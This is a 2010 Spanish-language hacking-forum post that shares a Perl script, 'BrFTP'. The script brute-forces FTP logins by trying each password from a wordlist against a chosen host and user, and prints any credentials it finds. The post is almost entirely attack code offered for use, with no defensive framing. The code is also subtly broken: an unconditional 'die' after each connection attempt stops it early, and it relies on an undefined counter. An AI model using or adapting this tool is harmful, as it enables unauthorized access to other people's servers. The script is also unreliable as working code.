[PERL] Burte FTP

  • 0 Respuestas
  • 1490 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado ProcessKill

  • *
  • Underc0der
  • Mensajes: 154
  • Actividad:
    0%
  • Reputación 0
  • Arriba los hackers de Argentina!
    • Ver Perfil
    • Email

[PERL] Burte FTP

  • en: Febrero 24, 2010, 04:34:12 pm
Código: Perl
  1. #!/usr/bin/perl
  2. use Net::FTP;
  3. # c0dex by m0x.lk
  4. # [email protected]
  5. # RE & HaSe
  6. # BrFTP .-
  7. system ("clear");
  8. system ("cls");
  9. system ("color 72");
  10. print "C0dex by m0x.lk\n";
  11. print "\n";
  12. print "BrFTP .- RE & HaSe\n";
  13. print "\n";
  14. print "Target: ";
  15. $target=<STDIN>;
  16. print "\n\n";
  17. print "User: ";
  18. $user=<STDIN>;
  19. print "\n\n";
  20. print "Diccionario: ";
  21. $dict=<STDIN>;
  22. print "\n\n";
  23. $counter=0;
  24. $times=0;
  25. print "Conectando $target\n";
  26. print "\n";
  27. $ftp = Net::FTP->new($target,Debug => 1);
  28. die "Imposible resolver $target\n";
  29. print "\n";
  30. open (D,"<$dict") or die "Diccionario no encontrado\n";
  31. while(<D>)
  32. {
  33. $try = $_;
  34.     chomp $try;
  35.     $ftp->login($user,$try);
  36.     $counter++;
  37.     $tiempo++;
  38.     if($ftp->ls("."))
  39.     {
  40.    print "$user / $try \n";
  41.    last;
  42.     }
  43.     if($counter==$fallos)
  44.     {
  45. print "\n\n";
  46.    $ftp->quit;
  47.    print "Volviendo a conectar $target";
  48.    $ftp = Net::FTP->new($target,Debug => 1);
  49.    die "Imposible conectar $target\n";
  50. print "\n\n";
  51.    $counter=0;
  52.     }
  53. }
  54. close(D);
  55. print "\n\n";
  56. print "$tiempo Obtener pass";
  57. print "\n\n";
  58. print "c0dex by m0x.lk";
« Última modificación: Marzo 14, 2015, 09:46:55 am por Expermicid »

 

Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 5330
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 3473
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Uniscan] Scanner de vulnerabilidades WEB hecho en Perl

Iniciado por tar3kw0rm3d

Respuestas: 0
Vistas: 3015
Último mensaje Junio 02, 2013, 08:01:28 pm
por tar3kw0rm3d
[Perl] Counter Strike 1.6 Servers List

Iniciado por BigBear

Respuestas: 0
Vistas: 2560
Último mensaje Noviembre 12, 2012, 07:32:11 pm
por BigBear
[Perl] Iframe DDos Attack Tool

Iniciado por BigBear

Respuestas: 0
Vistas: 2444
Último mensaje Julio 03, 2011, 10:06:45 pm
por BigBear